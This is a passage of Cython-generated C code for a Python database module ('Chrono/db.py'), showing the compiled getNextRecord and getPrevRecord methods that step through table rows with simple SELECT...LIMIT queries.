__PYX_ERR(0, 124, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":125 * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) * data = cursor.fetchone() # <<<<<<<<<<<<<< * cursor.close() * if data == None: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_fetchone); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 125, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 125, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 125, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_data = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":126 * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) * data = cursor.fetchone() * cursor.close() # <<<<<<<<<<<<<< * if data == None: * self.newRecord() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_close); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 126, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 126, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 126, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":127 * data = cursor.fetchone() * cursor.close() * if data == None: # <<<<<<<<<<<<<< * self.newRecord() * return False */ __pyx_t_4 = PyObject_RichCompare(__pyx_v_data, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 127, __pyx_L3_error) __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 127, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_9) { /* "Chrono/db.py":128 * cursor.close() * if data == None: * self.newRecord() # <<<<<<<<<<<<<< * return False * else: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_newRecord); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 128, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 128, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 128, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":129 * if data == None: * self.newRecord() * return False # <<<<<<<<<<<<<< * else: * for i in range( 0, len(data) ): */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; goto __pyx_L7_try_return; /* "Chrono/db.py":127 * data = cursor.fetchone() * cursor.close() * if data == None: # <<<<<<<<<<<<<< * self.newRecord() * return False */ } /* "Chrono/db.py":131 * return False * else: * for i in range( 0, len(data) ): # <<<<<<<<<<<<<< * self._data[self._desc[i][0]] = data[i] * except Exception as e: */ /*else*/ { __pyx_t_10 = PyObject_Length(__pyx_v_data); if (unlikely(__pyx_t_10 == -1)) __PYX_ERR(0, 131, __pyx_L3_error) for (__pyx_t_11 = 0; __pyx_t_11 < __pyx_t_10; __pyx_t_11+=1) { __pyx_v_i = __pyx_t_11; /* "Chrono/db.py":132 * else: * for i in range( 0, len(data) ): * self._data[self._desc[i][0]] = data[i] # <<<<<<<<<<<<<< * except Exception as e: * print(e) */ __pyx_t_4 = __Pyx_GetItemInt(__pyx_v_data, __pyx_v_i, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 132, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_data); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 132, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_desc); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 132, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_8 = __Pyx_GetItemInt(__pyx_t_5, __pyx_v_i, Py_ssize_t, 1, PyInt_FromSsize_t, 0, 1, 1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 132, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_GetItemInt(__pyx_t_8, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 132, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; if (unlikely(PyObject_SetItem(__pyx_t_6, __pyx_t_5, __pyx_t_4) < 0)) __PYX_ERR(0, 132, __pyx_L3_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } /* "Chrono/db.py":122 * * def getNextRecord(self ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) */ } __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; goto __pyx_L10_try_end; __pyx_L3_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":133 * for i in range( 0, len(data) ): * self._data[self._desc[i][0]] = data[i] * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return False */ __pyx_t_12 = __Pyx_PyErr_ExceptionMatches(((PyObject *)(&((PyTypeObject*)PyExc_Exception)[0]))); if (__pyx_t_12) { __Pyx_AddTraceback("Chrono.db.db.getNextRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6) < 0) __PYX_ERR(0, 133, __pyx_L5_except_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GOTREF(__pyx_t_5); __Pyx_GOTREF(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __pyx_v_e = __pyx_t_5; /*try:*/ { /* "Chrono/db.py":134 * self._data[self._desc[i][0]] = data[i] * except Exception as e: * print(e) # <<<<<<<<<<<<<< * return False * self._index += 1 */ __pyx_t_8 = PyTuple_New(1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 134, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_INCREF(__pyx_v_e); __Pyx_GIVEREF(__pyx_v_e); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_v_e); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_8, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 134, __pyx_L19_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Chrono/db.py":135 * except Exception as e: * print(e) * return False # <<<<<<<<<<<<<< * self._index += 1 * self.indb = True */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_False); __pyx_r = Py_False; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L18_return; } /* "Chrono/db.py":133 * for i in range( 0, len(data) ): * self._data[self._desc[i][0]] = data[i] * except Exception as e: # <<<<<<<<<<<<<< * print(e) * return False */ /*finally:*/ { /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L19_error:; __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_18, &__pyx_t_19, &__pyx_t_20); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17) < 0)) __Pyx_ErrFetch(&__pyx_t_15, &__pyx_t_16, &__pyx_t_17); __Pyx_XGOTREF(__pyx_t_15); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __Pyx_XGOTREF(__pyx_t_19); __Pyx_XGOTREF(__pyx_t_20); __pyx_t_12 = __pyx_lineno; __pyx_t_13 = __pyx_clineno; __pyx_t_14 = __pyx_filename; { __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_18); __Pyx_XGIVEREF(__pyx_t_19); __Pyx_XGIVEREF(__pyx_t_20); __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_19, __pyx_t_20); } __Pyx_XGIVEREF(__pyx_t_15); __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_ErrRestore(__pyx_t_15, __pyx_t_16, __pyx_t_17); __pyx_t_15 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_t_19 = 0; __pyx_t_20 = 0; __pyx_lineno = __pyx_t_12; __pyx_clineno = __pyx_t_13; __pyx_filename = __pyx_t_14; goto __pyx_L5_except_error; } __pyx_L18_return: { __pyx_t_20 = __pyx_r; __pyx_r = 0; __Pyx_DECREF(__pyx_v_e); __pyx_v_e = NULL; __pyx_r = __pyx_t_20; __pyx_t_20 = 0; goto __pyx_L6_except_return; } } } goto __pyx_L5_except_error; __pyx_L5_except_error:; /* "Chrono/db.py":122 * * def getNextRecord(self ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+" LIMIT %d,1"%(self._index + 1)) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L1_error; __pyx_L7_try_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L6_except_return:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_1); __Pyx_XGIVEREF(__pyx_t_2); __Pyx_XGIVEREF(__pyx_t_3); __Pyx_ExceptionReset(__pyx_t_1, __pyx_t_2, __pyx_t_3); goto __pyx_L0; __pyx_L10_try_end:; } /* "Chrono/db.py":136 * print(e) * return False * self._index += 1 # <<<<<<<<<<<<<< * self.indb = True * self.modified = False */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_index); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyInt_AddObjC(__pyx_t_6, __pyx_int_1, 1, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_index, __pyx_t_5) < 0) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "Chrono/db.py":137 * return False * self._index += 1 * self.indb = True # <<<<<<<<<<<<<< * self.modified = False * return True */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_indb, Py_True) < 0) __PYX_ERR(0, 137, __pyx_L1_error) /* "Chrono/db.py":138 * self._index += 1 * self.indb = True * self.modified = False # <<<<<<<<<<<<<< * return True * */ if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_modified, Py_False) < 0) __PYX_ERR(0, 138, __pyx_L1_error) /* "Chrono/db.py":139 * self.indb = True * self.modified = False * return True # <<<<<<<<<<<<<< * * def getPrevRecord(self ): */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(Py_True); __pyx_r = Py_True; goto __pyx_L0; /* "Chrono/db.py":121 * return True * * def getNextRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_AddTraceback("Chrono.db.db.getNextRecord", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_cursor); __Pyx_XDECREF(__pyx_v_data); __Pyx_XDECREF(__pyx_v_e); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/db.py":141 * return True * * def getPrevRecord(self ): # <<<<<<<<<<<<<< * try: * cursor = self._link.cursor() */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_2db_2db_13getPrevRecord(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_2db_2db_13getPrevRecord = {"getPrevRecord", (PyCFunction)__pyx_pw_6Chrono_2db_2db_13getPrevRecord, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_2db_2db_13getPrevRecord(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getPrevRecord (wrapper)", 0); __pyx_r = __pyx_pf_6Chrono_2db_2db_12getPrevRecord(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_6Chrono_2db_2db_12getPrevRecord(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_v_cursor = NULL; PyObject *__pyx_v_data = NULL; Py_ssize_t __pyx_v_i; PyObject *__pyx_v_e = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; PyObject *__pyx_t_7 = NULL; PyObject *__pyx_t_8 = NULL; int __pyx_t_9; Py_ssize_t __pyx_t_10; Py_ssize_t __pyx_t_11; int __pyx_t_12; int __pyx_t_13; char const *__pyx_t_14; PyObject *__pyx_t_15 = NULL; PyObject *__pyx_t_16 = NULL; PyObject *__pyx_t_17 = NULL; PyObject *__pyx_t_18 = NULL; PyObject *__pyx_t_19 = NULL; PyObject *__pyx_t_20 = NULL; __Pyx_RefNannySetupContext("getPrevRecord", 0); /* "Chrono/db.py":142 * * def getPrevRecord(self ): * try: # <<<<<<<<<<<<<< * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { /* "Chrono/db.py":143 * def getPrevRecord(self ): * try: * cursor = self._link.cursor() # <<<<<<<<<<<<<< * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) * data = cursor.fetchone() */ __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_link); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 143, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_cursor); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 143, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 143, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_cursor = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":144 * try: * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) # <<<<<<<<<<<<<< * data = cursor.fetchone() * cursor.close() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_execute); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_class); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_name); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = PyNumber_Add(__pyx_kp_u_SELECT_FROM, __pyx_t_7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_index); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = __Pyx_PyInt_SubtractObjC(__pyx_t_7, __pyx_int_1, 1, 0); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = PyUnicode_Format(__pyx_kp_u_LIMIT_d_1, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyNumber_Add(__pyx_t_5, __pyx_t_7); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_7) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_4); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_8}; __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_5, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 144, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":145 * cursor = self._link.cursor() * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) * data = cursor.fetchone() # <<<<<<<<<<<<<< * cursor.close() * if data == None: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_fetchone); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 145, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 145, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_v_data = __pyx_t_4; __pyx_t_4 = 0; /* "Chrono/db.py":146 * cursor.execute("SELECT * FROM "+ self.__class__.__name__+ " LIMIT %d,1"%(self._index - 1)) * data = cursor.fetchone() * cursor.close() # <<<<<<<<<<<<<< * if data == None: * self.newRecord() */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_cursor, __pyx_n_s_close); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 146, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (__pyx_t_5) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_5); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 146, __pyx_L3_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 146, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; /* "Chrono/db.py":147 * data = cursor.fetchone() * cursor.close() * if data == None: # <<<<<<<<<<<<<< * self.newRecord() * return False */ __pyx_t_4 = PyObject_RichCompare(__pyx_v_data, Py_None, Py_EQ); __Pyx_XGOTREF(__pyx_t_4); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 147, __pyx_L3_error) __pyx_t_9 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_9 < 0)) __PYX_ERR(0, 147, __pyx_L3_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__pyx_t_9) { /* "Chrono/db.py":148 * cursor.close() * if data == None: * self.newRecord() # <<<<<<<<<<<<<< * return False * else: */ __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_newRecord); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 148, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_6); 